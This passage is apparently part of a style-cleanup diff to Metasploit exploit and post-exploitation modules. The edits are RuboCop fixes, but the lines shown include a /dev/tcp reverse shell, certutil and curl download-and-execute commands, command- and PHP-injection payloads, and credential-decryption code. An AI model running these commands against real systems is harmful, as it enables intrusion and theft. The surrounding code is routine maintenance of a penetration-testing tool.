next unless 'solr.VelocityResponseWriter' == writer_config['class']
next unless writer_config['class'] == 'solr.VelocityResponseWriter'
print_good("Found Velocity Response Writer in use by core '#{core}'")
vprint_status("Writer config: #{writer_config}")
# String 'true' from the remote configuration, not TrueClass
if 'true' == writer_config['params.resource.loader.enabled']
if writer_config['params.resource.loader.enabled'] == 'true'
print_good("params.resource.loader.enabled for core '#{core}' is set to true.")
possibly_vulnerable_cores.store(core, writer_name)
else
@@ -360,10 +360,12 @@ class MetasploitModule < Msf::Exploit::Remote
if !@vuln_core[1]
response_json = change_response_writer(@vuln_core[0], verb: 'update')
if response_json.has_key?('errorMessages')
if response_json.key?('errorMessages')
server_error = response_json['errorMessages'].first['errorMessages']&.first
print_error("Error updating config, here's the message from the server: \"#{server_error}\"")
# rubocop:disable Lint/UselessAssignment
response_json = change_response_writer(@vuln_core[0], verb: 'create')
# rubocop:enable Lint/UselessAssignment
end
end
@@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }.freeze
def initialize(info = {})
super(
@@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }.freeze
def initialize(info = {})
super(
@@ -140,16 +140,16 @@ class MetasploitModule < Msf::Exploit::Remote
get_config: [ 0x1, 0x35 ],
upd_clt_pass: [ 0x1, 0xe2 ],
upd_central: [ 0x1, 0xae ]
}
}.freeze
# packet header is universal for both client and server
PKT_HDR = [ 0, 0, 0xff, 0xff ]
PKT_HDR = [ 0, 0, 0xff, 0xff ].freeze
# pkt end marker (client only, server responses do not have it)
PKT_END = [ 0xff, 0xff ]
PKT_END = [ 0xff, 0xff ].freeze
# empty auth object, used for operations that do not require auth
AUTH_OBJ_EMPTY = [ 5, 3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ]
AUTH_OBJ_EMPTY = [ 5, 3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].freeze
# This is actually the client version number
# 0x6949200 = 110400000 in decimal, or version 11.4
@@ -164,7 +164,7 @@ class MetasploitModule < Msf::Exploit::Remote
#
# If something doesn't work, try using one of the values above, but bear in mind this module
# was tested on 10.2.2 and 11.4,
VERSION = [ 0x03, 0x04, 0xca, 0xce, 0x80 ]
VERSION = [ 0x03, 0x04, 0xca, 0xce, 0x80 ].freeze
## Packet structure end
## Network primitives start
@@ -184,7 +184,7 @@ class MetasploitModule < Msf::Exploit::Remote
# write array to socket and get result
# wait should also be implemented in msf
def sock_rw(sock, msg, ignore = false, wait = 0)
def sock_rw(sock, msg, ignore: false, wait: 0)
sock.write(msg.pack('C*'))
if !ignore
sleep(wait)
@@ -246,7 +246,6 @@ class MetasploitModule < Msf::Exploit::Remote
arr.shift(PKT_HDR.length)
if arr[0] == 5
# this is an object, get the type (1 byte) plus the object bytes (9 bytes)
obj = Array.new
obj = arr[0..9]
obj
end
@@ -274,6 +273,7 @@ class MetasploitModule < Msf::Exploit::Remote
arr = [ 0xf ] # binary type 0xf
arr += pack_sz(data.length) # 2 byte size
arr += datapack(data) # ... and add the data
arr
end
def get_str(data)
@@ -304,16 +304,16 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
def update_auth(auth_method, restore = false)
def update_auth(auth_method, restore: false)
# first byte of data is ignored, so add an extra space
if restore
srv_config = " IntegratedSecurityMode=#{auth_method}"
else
# To enable CAM server authentication over SSL, the CAM server certificate has to be previously
# imported into the server. Since we can't do this, disable SSL in the fake CAM.
srv_config = " IntegratedSecurityMode=#{auth_method}\n" +
"ServerCAMURI=http://#{srvhost}:#{srvport}\n" +
"ServerCAMURIRetryAttempts=10\nServerCAMIPVersion=ipv4\n" +
srv_config = " IntegratedSecurityMode=#{auth_method}\n" \
"ServerCAMURI=http://#{srvhost}:#{srvport}\n" \
"ServerCAMURIRetryAttempts=10\nServerCAMIPVersion=ipv4\n" \
"CAMUseSSL=F\n"
end
@@ -391,9 +391,9 @@ class MetasploitModule < Msf::Exploit::Remote
def restore_auth(app, auth_current)
print_status("Restoring original authentication method #{auth_current}")
upd_cent = update_auth(auth_current, true)
upd_cent = update_auth(auth_current, restore: true)
s = get_socket(app[2], app[3], app[5])
sock_rw(s, upd_cent, true)
sock_rw(s, upd_cent, ignore: true)
s.close
end
@@ -460,13 +460,13 @@ class MetasploitModule < Msf::Exploit::Remote
port = get_str(data)
# mtt maybe? don't care
mtt = get_str(data)
_mtt = get_str(data)
# not sure, and don't care
unknown = get_str(data)
_unknown = get_str(data)
# localhost addresses? again don't care
unknown_addr = get_str(data)
_unknown_addr = get_str(data)
# I think this is the accepting clients flag
accepts = get_str(data)
@@ -550,7 +550,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status('Changing authentication method to 4 (CAM auth)')
upd_cent = update_auth(4)
s = get_socket(app[2], app[3], app[5])
sock_rw(s, upd_cent, true)
sock_rw(s, upd_cent, ignore: true)
s.close
# Step 5: send the CAM auth request and obtain the authentication object
@@ -583,7 +583,7 @@ class MetasploitModule < Msf::Exploit::Remote
res_auth = ''
while (counter < datastore['AUTH_ATTEMPTS'])
# send the authenticate request, but wait a bit so that our fake CAM server can respond
res_auth = sock_rw(s, auth_dist, false, 0.5)
res_auth = sock_rw(s, auth_dist, ignore: false, wait: 0.5)
if res_auth.length < 20
print_error("Failed to authenticate on attempt number #{counter}, trying again...")
counter += 1
@@ -614,12 +614,12 @@ class MetasploitModule < Msf::Exploit::Remote
if target['Platform'] == 'win'
# the Windows command has to be split amongst two lines; the & char cannot be used to execute two processes in one line
exe_name += '.exe'
exe_name = 'C:\\Windows\\Temp\\' + exe_name
exe_name = "C:\\Windows\\Temp\\#{exe_name}"
cmd_one = "certutil.exe -urlcache -split -f #{payload_url} #{exe_name}"
cmd_two = exe_name
else
# the Linux one can actually be done in one line, but let's make them similar
exe_name = '/tmp/' + exe_name
exe_name = "/tmp/#{exe_name}"
cmd_one = "curl #{payload_url} -o #{exe_name};"
cmd_two = "chmod +x #{exe_name}; exec #{exe_name}"
end
@@ -649,7 +649,7 @@ class MetasploitModule < Msf::Exploit::Remote
# Step 9: execute the Process!
print_status("Now let's execute the Process object!")
sock_rw(s, pkt_build(MSG_TYPES[:proc_exec], [], proc_obj + [ 0x7 ] + [ 0 ] * 4), true)
sock_rw(s, pkt_build(MSG_TYPES[:proc_exec], [], proc_obj + [ 0x7 ] + [ 0 ] * 4), ignore: true)
s.close
# Step 10: restore the auth method and enjoy the shell!
@@ -123,6 +123,7 @@ class MetasploitModule < Msf::Exploit::Remote
sock.get_once
end
# rubocop:disable Metrics/MethodLength
def build_payload_obj(payload_data)
payload_obj = 'aced' # STREAM_MAGIC
payload_obj << '0005' # STREAM_VERSION
@@ -455,6 +456,7 @@ class MetasploitModule < Msf::Exploit::Remote
payload_obj << '00'
payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
end
# rubocop:enable Metrics/MethodLength
def change_handle?
@version_no == Gem::Version.new('12.1.3.0.0')
@@ -115,6 +115,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def create_java_str(payload)
# rubocop:disable Style/StringConcatenation
(
"\xac\xed" + # STREAM_MAGIC
"\x00\x05" + # STREAM_VERSION
@@ -122,6 +123,7 @@ class MetasploitModule < Msf::Exploit::Remote
[payload.length].pack('n') + # length
payload
).force_encoding('ascii') # is this needed in msf?
# rubocop:enable Style/StringConcatenation
end
def check
@@ -539,7 +539,7 @@ print = function(arg) {
pdfpath = datastore['URIPATH'] || get_resource
pdfpath += '/' unless pdfpath.end_with? '/'
pdfpath += Rex::Text.rand_text_alpha(4..8) + '.pdf'
pdfpath += "#{Rex::Text.rand_text_alpha(4..8)}.pdf"
html = <<~HTML
<html>
@@ -53,6 +53,7 @@ class MetasploitModule < Msf::Exploit::Local
]
end
# rubocop:disable Style/ClassVars
@@target_file = '/etc/pam.d/login'
@@original_content = %q{# login: auth account password session
auth optional pam_krb5.so use_kcminit
@@ -78,6 +79,7 @@ session required pam_permit.so
session required pam_permit.so
session optional pam_permit.so
}
# rubocop:enable Style/ClassVars
def check
version = Gem::Version.new(get_system_version)
@@ -70,7 +70,9 @@ class MetasploitModule < Msf::Exploit::Remote
# vDev (HEAD, v4.3-0-g44aff72)
# v4.3
# rubocop:disable Lint/MixedRegexpCaptureTypes
%r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d.]+)\)?.*<b>}m =~ res.body
# rubocop:enable Lint/MixedRegexpCaptureTypes
if version && Gem::Version.new(version) <= Gem::Version.new('4.3.2')
vprint_good("Version Detected: #{version}")
@@ -129,7 +129,9 @@ class MetasploitModule < Msf::Exploit::Remote
# vDev (HEAD, v3.2.1-0-g31dddd8-dirty)
# v3.2.1
# rubocop:disable Lint/MixedRegexpCaptureTypes
%r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d.]+)\)?.*<b>}m =~ res.body
# rubocop:enable Lint/MixedRegexpCaptureTypes
if version && Gem::Version.new(version) < Gem::Version.new('3.3')
vprint_good("Version Detected: #{version}")
@@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote
'vars_get' => {
'cmd' => 'iptest.cgi',
'-time' => Time.now.to_i,
'-url' => '$(' + cmd + ')'
'-url' => "$(#{cmd})"
}
)
@@ -174,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_good('Spawned into arista rbash shell.')
cha.on_data do |_xx, data2|
if data2.include? '#' && !payload_executed
if data2.include?('#') && !payload_executed
print_status('Attempting to break out of Arista rbash...')
channel.send_data("show run | grep '' | sudo bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1 2>&1 &'\n")
payload_executed = true
@@ -119,6 +119,7 @@ class MetasploitModule < Msf::Exploit::Remote
return nil
end
print_good("#{peer} - Identified OpenMediaVault version #{version}.")
version_gemmed = Gem::Version.new(version)
if version_gemmed < Gem::Version.new('3.0.1')
return version
@@ -129,8 +130,6 @@ class MetasploitModule < Msf::Exploit::Remote
else
return nil
end
return version
end
def execute_command(cmd, _opts = {})
@@ -94,9 +94,9 @@ class MetasploitModule < Msf::Exploit::Remote
'vars_post' => {
'modname' => 'scheduling/MassSchedule.php',
'modfunc' => 'save',
'day_start' => rand_text_numeric(1, bad = '0'),
'month_start' => rand_text_numeric(1, bad = '0'),
'year_start' => rand_text_numeric(4, bad = '0')
'day_start' => rand_text_numeric(1, '0'),
'month_start' => rand_text_numeric(1, '0'),
'year_start' => rand_text_numeric(4, '0')
}
})
@@ -88,14 +88,14 @@ class MetasploitModule < Msf::Exploit::Remote
if res1 && res1.body.include?(testcontent)
send_request_cgi(
opts = {
{
'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),
'headers' => {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
},
'method' => 'DELETE'
},
timeout = 1
1
)
return Exploit::CheckCode::Vulnerable
end
@@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def inject_php(cmd)
encode_char = ->(char) { '%' + char.ord.to_s(16).rjust(2, '0') }
encode_char = ->(char) { "%#{char.ord.to_s(16).rjust(2, '0')}" }
payload = "',0,\"\",1,\"0\")%3b#{cmd.gsub(/[;\s]/, &encode_char)}%3b//\""
res = send_request_cgi(
'method' => 'GET',
@@ -356,10 +356,10 @@ class MetasploitModule < Msf::Exploit::Remote
print_status('Trying to determine DNN Version...')
# Check for copyright version in /Documentation/license.txt
uri = %r{^(.*[\\/])}.match(target_uri.path)[0]
vprint_status("Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...")
vprint_status("Checking version at #{normalize_uri("#{uri}Documentation", 'License.txt')} ...")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri + 'Documentation', 'License.txt')
'uri' => normalize_uri("#{uri}Documentation", 'License.txt')
)
year = -1
if res && res.code == 200
@@ -447,10 +447,10 @@ Try setting target 4 and supply a file of of verification codes or specifiy vali
print_search_status(i, elapsed, total_keys)
print_line
if @target_idx == 4
print_good('Possible Base Key Value Found: ' + key)
print_good("Possible Base Key Value Found: #{key}")
else
print_good('KEY Found: ' + key)
print_good('IV Found: ' + @passphrase[8..-1])
print_good("KEY Found: #{key}")
print_good("IV Found: #{@passphrase[8..-1]}")
end
vprint_status(format('Total number of Keys tried: %<n_tried>d', n_tried: i))
vprint_status(format('Time to crack: %<c_time>.3f seconds', c_time: elapsed.to_s))
@@ -304,7 +304,7 @@ class MetasploitModule < Msf::Exploit::Remote
unless res && res.code == 200 && res.body.exclude?(file)
print_error("Failed to delete #{file}.")
print_warning("Manual cleanup of #{file} is required.")
return
next
end
print_good("Successfully deleted #{file}")
@@ -70,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Remote
return CheckCode::Unknown('Did not receive an HTTP 200 OK response') unless res&.code == 200
compiler_errors = extract_compiler_errors(res)
return CheckCode::Unknown('No compiler errors were reported') unless compiler_errors&.length > 0
return CheckCode::Unknown('No compiler errors were reported') unless compiler_errors&.length&.> 0
# once patched you get a specific compiler error message about the type name
return CheckCode::Safe if compiler_errors[0].to_s =~ /is not a valid language-independent type name/
@@ -83,7 +83,7 @@ class MetasploitModule < Msf::Exploit::Remote
xml_doc = res.get_xml_document
result = xml_doc.search('//*[local-name()=\'ValidateWorkflowMarkupAndCreateSupportObjectsResult\']').text
return nil if result.length == 0
return nil if result.empty?
xml_result = Nokogiri::XML(result)
xml_result.xpath('//CompilerError/@Text')
@@ -103,7 +103,9 @@ class MetasploitModule < Msf::Exploit::Remote
def escape_command(cmd)
# a bunch of characters have to be escaped, so use a whitelist of those that are allowed and escape the rest as unicode
# rubocop:disable Style/FormatString
cmd.gsub(/([^a-zA-Z0-9 $:;\-.=\[\]{}()])/) { |x| '\\u%.4x' % x.unpack('C*')[0] }
# rubocop:enable Style/FormatString
end
def execute_command(cmd, _opts = {})
@@ -84,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def dest_file_basename
@dest_file_name = @dest_file_name || datastore['FILE_NAME'] || Rex::Text.rand_text_alphanumeric(rand(4..35)) + '.dll'
@dest_file_name = @dest_file_name || datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alphanumeric(rand(4..35))}.dll"
end
def check
@@ -189,7 +189,7 @@ class MetasploitModule < Msf::Exploit::Remote
}
)
fail_with(Failure::UnexpectedReply, 'The upload failed') unless res&.code == 200
metadata = JSON.parse(decrypt(res.get_json_document.dig('metaData')).force_encoding('UTF-16LE'))
metadata = JSON.parse(decrypt(res.get_json_document['metaData']).force_encoding('UTF-16LE'))
dest_path = "#{datastore['DESTINATION'].chomp('\\')}\\#{metadata['TempFileName']}"
print_good("Uploaded #{file_contents.length} bytes to: #{dest_path}")
register_file_for_cleanup(dest_path)
@@ -199,7 +199,7 @@ class MetasploitModule < Msf::Exploit::Remote
metadata = { 'TotalChunks' => 1, 'ChunkIndex' => 0, 'TotalFileSize' => 1, 'UploadID' => dest_file_basename }
post_data = Rex::MIME::Message.new
post_data.add_part(encrypt(serialized_object.to_json.encode('UTF-16LE')) + '&' + encrypt(serialized_object_type.encode('UTF-16LE')), nil, nil, 'form-data; name="rauPostData"')
post_data.add_part("#{encrypt(serialized_object.to_json.encode('UTF-16LE'))}&#{encrypt(serialized_object_type.encode('UTF-16LE'))}", nil, nil, 'form-data; name="rauPostData"')
post_data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{dest_file_basename}\"")
post_data.add_part(dest_file_basename, nil, nil, 'form-data; name="fileName"')
post_data.add_part('application/octet-stream', nil, nil, 'form-data; name="contentType"')
@@ -229,8 +229,8 @@ class MetasploitModule < Msf::Exploit::Local
end
# Upload phonebook file
phonebook_name = datastore['PHONEBOOK_NAME'] || Rex::Text.rand_text_alpha(6..13) + '.pbk'
upload_phonebook_pathname = session.sys.config.getenv('TEMP') + '\\' + phonebook_name
phonebook_name = datastore['PHONEBOOK_NAME'] || "#{Rex::Text.rand_text_alpha(6..13)}.pbk"
upload_phonebook_pathname = "#{session.sys.config.getenv('TEMP')}\\#{phonebook_name}"
launch_rasdialer(upload_phonebook_pathname)
register_file_for_cleanup(upload_phonebook_pathname)
vprint_status("Checking on #{target_payload_pathname}")
@@ -274,8 +274,8 @@ class MetasploitModule < Msf::Exploit::Local
# set up variables
temp_dir = session.sys.config.getenv('TEMP')
exploit_dir = datastore['EXPLOIT_DIR'] || temp_dir + '\\' + Rex::Text.rand_text_alpha(6..13)
upload_payload_pathname = session.sys.config.getenv('TEMP') + '\\' + Rex::Text.rand_text_alpha(6..13) + '.dll'
exploit_dir = datastore['EXPLOIT_DIR'] || "#{temp_dir}\\#{Rex::Text.rand_text_alpha(6..13)}"
upload_payload_pathname = "#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(6..13)}.dll"
payload_dll = generate_payload_dll
print_status("Payload DLL is #{payload_dll.length} bytes long")
@@ -328,7 +328,7 @@ class MetasploitModule < Msf::Exploit::Local
# Launch RASDIAL
vprint_status('Launching Rasdialer')
rasdial_cmd = 'rasdial VPNTEST test test /PHONEBOOK:' + upload_phonebook_pathname
rasdial_cmd = "rasdial VPNTEST test test /PHONEBOOK:#{upload_phonebook_pathname}"
print_status("Running Rasdialer with phonebook #{upload_phonebook_pathname}")
output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}", 60)
vprint_status(output)
@@ -243,7 +243,7 @@ class MetasploitModule < Msf::Exploit::Local
payload_dll = generate_payload_dll
print_status("Payload DLL is #{payload_dll.length} bytes long")
temp_directory = session.sys.config.getenv('%TEMP%')
malicious_dll_location = "#{temp_directory}\\" + Rex::Text.rand_text_alpha(6..13) + '.dll'
malicious_dll_location = "#{temp_directory}\\#{Rex::Text.rand_text_alpha(6..13)}.dll"
write_file(malicious_dll_location, payload_dll)
register_file_for_cleanup(malicious_dll_location)
@@ -68,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Local
])
end
def cve_2020_1048_privileged_filecopy(destination_file, source_file, exploit_path, target_arch, force_exploit = false)
def cve_2020_1048_privileged_filecopy(destination_file, source_file, exploit_path, target_arch, force_exploit: false)
# Upload Exploit
if target_arch == ARCH_X86
vprint_status('Using x86 binary')
@@ -142,7 +142,7 @@ class MetasploitModule < Msf::Exploit::Local
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
if sysinfo_value =~ /10/ && (17763 < build_num) && (build_num <= 19041)
if sysinfo_value =~ /10/ && (build_num > 17763) && (build_num <= 19041)
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
@@ -129,7 +129,7 @@ class MetasploitModule < Msf::Exploit::Local
validate_payload
# Run the exploit
output = cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, Rex::Text.encode_base64(payload_dll))
_output = cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, Rex::Text.encode_base64(payload_dll))
sleep(3) # make sure exploit is finished
# Reboot, if desired
@@ -120,7 +120,7 @@ class MetasploitModule < Msf::Exploit::Local
# Set timeout to 10 seconds (0xffff = SOL_SOCKET, 0x1006 = SO_RCVTIMEO).
# This only affects the recv(), not connect().
handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L<'), 4)
_handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L<'), 4)
# Set the socket address structure to localhost:9978.
sock_addr = "\x02\x00"
@@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Local
end
path = expand_path('%WINDIR%\\system32\\win32k.sys')
major, minor, build, revision, brand = file_version(path)
_major, _minor, _build, revision, _brand = file_version(path)
return CheckCode::Safe if revision >= 24387
CheckCode::Appears
@@ -70,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
services = enum_vuln_services(datastore['QUICK'])
services = enum_vuln_services(quick: datastore['QUICK'])
if services.empty?
return CheckCode::Safe
end
@@ -115,7 +115,7 @@ class MetasploitModule < Msf::Exploit::Local
potential_paths
end
def enum_vuln_services(quick = false)
def enum_vuln_services(quick: false)
vuln_services = []
each_service do |service|
@@ -152,7 +152,7 @@ class MetasploitModule < Msf::Exploit::Local
# path needs to have double, not single quotes
c = %(cmd.exe /C echo '#{words}' >> "#{f}" && type "#{f}" && del "#{f}")
cmd_exec(c).to_s.include? words
rescue Rex::Post::Meterpreter::RequestError => e
rescue Rex::Post::Meterpreter::RequestError => _e
false
end
end
@@ -162,7 +162,7 @@ class MetasploitModule < Msf::Exploit::Local
# Exploit the first service found
#
print_status('Finding a vulnerable service...')
svrs_list = enum_vuln_services(datastore['QUICK'])
svrs_list = enum_vuln_services(quick: datastore['QUICK'])
fail_with(Failure::NotVulnerable, 'No service found with trusted path issues') if svrs_list.empty?
@@ -177,6 +177,7 @@ class MetasploitModule < Msf::Exploit::Local
#
# Drop the malicious executable into the path
#
# rubocop:disable Lint/UnreachableLoop
potential_paths.each do |path|
exe_path = "#{path}.exe"
print_status("Placing #{exe_path} for #{svr_name}")
@@ -193,8 +194,10 @@ class MetasploitModule < Msf::Exploit::Local
unless service_restart(svr_name)
print_error 'Unable to restart service. System reboot or an admin restarting the service is required. Payload left on disk!!!'
end
break
end
# rubocop:enable Lint/UnreachableLoop
end
end
end
@@ -349,7 +349,7 @@ class MetasploitModule < Msf::Exploit::Remote
while i < final.length
if name == 1 && !(final[i].to_i > 0)
if name == 1 && final[i].to_i <= 0
result['name'] = final[i]
name = 0
check += 1
@@ -183,7 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_good("#{peer} - Got a path to drop our shell: #{shell_path}")
# Start http server for project copy callback
http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
http_service = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
print_status("#{peer} - Starting up our web service on #{http_service} ...")
start_service({
+5 -3
View File
@@ -51,7 +51,7 @@ class MetasploitModule < Msf::Post
end
# Count the number of currently running containers
def count_containers(container_type, count_inactive = true)
def count_containers(container_type, count_inactive: true)
case container_type
when 'docker'
command = if count_inactive
@@ -93,11 +93,13 @@ class MetasploitModule < Msf::Post
when 'lxc'
# LXC does some awful table formatting, lets try and fix it to be more uniform
result = cmd_exec('lxc list').each_line.reject { |st| st =~ /^\+--/ }.map.with_index.map do |s, i|
# rubocop:disable Style/StringConcatenation
if i == 0
s.split('| ').map { |t| t.strip.ljust(t.size, ' ').gsub(/\|/, '') }.join + "\n"
else
s.gsub(/\| /, '').gsub(/\|/, '')
end
# rubocop:enable Style/StringConcatenation
end.join.strip
when 'rkt'
result = cmd_exec('rkt list')
@@ -153,12 +155,12 @@ class MetasploitModule < Msf::Post
platforms.each do |platform|
print_good("#{platform} was found on the system!")
num_containers = count_containers(platform, false)
num_containers = count_containers(platform, count_inactive: false)
if num_containers == 0
print_error("No active or inactive containers were found for #{platform}\n")
else
num_running_containers = count_containers(platform, true)
num_running_containers = count_containers(platform, count_inactive: true)
print_good("#{platform}: #{num_running_containers} Running Containers / #{num_containers} Total")
end
+2
View File
@@ -46,6 +46,7 @@ class MetasploitModule < Msf::Post
end
end
# rubocop:disable Metrics/MethodLength
def on_request_uri(cli, request)
if request.uri =~ %r{/screenshot$}
data = ''
@@ -387,4 +388,5 @@ input {
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
end
end
# rubocop:enable Metrics/MethodLength
end
+4 -2
View File
@@ -114,11 +114,13 @@ class MetasploitModule < Msf::Post
end
# loop to ensure we get all content within the 5 sec window
# rubocop:disable Lint/AssignmentInCondition
loop do
break unless out_tmp = session.shell_read
cmd_out << out_tmp
end
# rubocop:enable Lint/AssignmentInCondition
print_status("Gathering info from #{command}")
cmd_loc = store_loot("F5.#{ec['fn']}",
@@ -128,7 +130,7 @@ class MetasploitModule < Msf::Post
"#{ec['fn']}.txt",
ec['desc'])
vprint_good("Saving to #{cmd_loc}")
f5_config_eater(host, port, cmd_out.strip, store = false)
f5_config_eater(host, port, cmd_out.strip, false)
end
end
@@ -192,7 +194,7 @@ class MetasploitModule < Msf::Post
"#{ec['fn']}.txt",
ec['desc'])
vprint_good("Saving to #{cmd_loc}")
f5_config_eater(host, port, cmd_out.strip, store = false)
f5_config_eater(host, port, cmd_out.strip, false)
end
end
end
@@ -87,7 +87,7 @@ class MetasploitModule < Msf::Post
password = decrypted_script[/[p]*assword:\x1F(?<password>[\S]+)\x1F/u, 'password']
domain = decrypted_script[/[Ww]*indows [Dd]*omain:\x1F(?<domain>[\S]+)\x1F/u, 'domain']
if !domain.nil? && !username.nil?
username = domain + '\\' + username
username = "#{domain}\\#{username}"
end
else
password = securecrt_crypto(file[/"Password"=u(?<password>[0-9a-f]+)/u, 'password'])
@@ -185,7 +185,7 @@ class MetasploitModule < Msf::Post
parent_key = 'HKEY_CURRENT_USER\\Software\\VanDyke\\SecureCRT'
# get session file path
root_path = registry_getvaldata(parent_key, 'Config Path')
securecrt_path = expand_path(root_path + session.fs.file.separator + 'Sessions') if !root_path.to_s.empty?
securecrt_path = expand_path("#{root_path}#{session.fs.file.separator}Sessions") if !root_path.to_s.empty?
else
securecrt_path = expand_path(datastore['SESSION_PATH'])
end
@@ -52,7 +52,7 @@ class MetasploitModule < Msf::Post
end
def enable_master_passwd?(version_6_path)
file_name = expand_path(version_6_path + '\\Common\\MasterPassword.mpw')
file_name = expand_path("#{version_6_path}\\Common\\MasterPassword.mpw")
file_contents = read_file(file_name) if session.fs.file.exist?(file_name)
if file_contents.nil? || file_contents.empty?
return false
@@ -113,7 +113,7 @@ class MetasploitModule < Msf::Post
if process_name.split(//).last(4).join.eql? '.exe'
out_process_name = process_name
else
process_name + '.exe'
"#{process_name}.exe"
end
out_process_name
end
@@ -276,7 +276,7 @@ class MetasploitModule < Msf::Post
end
break if output.nil? || output.empty?
end
rescue Rex::TimeoutError => e
rescue Rex::TimeoutError => _e
vprint_warning('Time out exception: wait limit exceeded (5 sec)')
rescue ::StandardError => e
print_error("Exception: #{e.inspect}")
@@ -42,8 +42,8 @@ class MetasploitModule < Msf::Post
def run
python_folder_path = File.basename(datastore['FILE_PATH'], File.extname(datastore['FILE_PATH']))
python_exe_path = python_folder_path + '\\python.exe'
python_url = datastore['PYTHON_URL'] + datastore['PYTHON_VERSION'] + '/python-' + datastore['PYTHON_VERSION'] + '-embed-win32.zip'
python_exe_path = "#{python_folder_path}\\python.exe"
python_url = "#{datastore['PYTHON_URL']}#{datastore['PYTHON_VERSION']}/python-#{datastore['PYTHON_VERSION']}-embed-win32.zip"
# check if PowerShell is available
psh_path = '\\WindowsPowerShell\\v1.0\\powershell.exe'
+8 -3
View File
@@ -60,7 +60,8 @@ class RuboCopRunner
rubocop = RuboCop::CLI.new
args = %w[--format simple]
args << '-a' if options[:autocorrect]
args << '-a' if options[:auto_correct]
args << '-A' if options[:auto_correct_all]
args << full_filepath
rubocop_result = rubocop.run(args)
@@ -946,8 +947,12 @@ if __FILE__ == $PROGRAM_NAME
return print(opts.help)
end
opts.on('-a', '--auto-correct', 'Auto-correct offenses (only when safe).') do |autocorrect|
options[:autocorrect] = autocorrect
opts.on('-a', '--auto-correct', 'Auto-correct offenses (only when safe).') do |auto_correct|
options[:auto_correct] = auto_correct
end
opts.on('-A', '--auto-correct-all', 'Auto-correct offenses (safe and unsafe).') do |auto_correct_all|
options[:auto_correct_all] = auto_correct_all
end
end
options_parser.parse!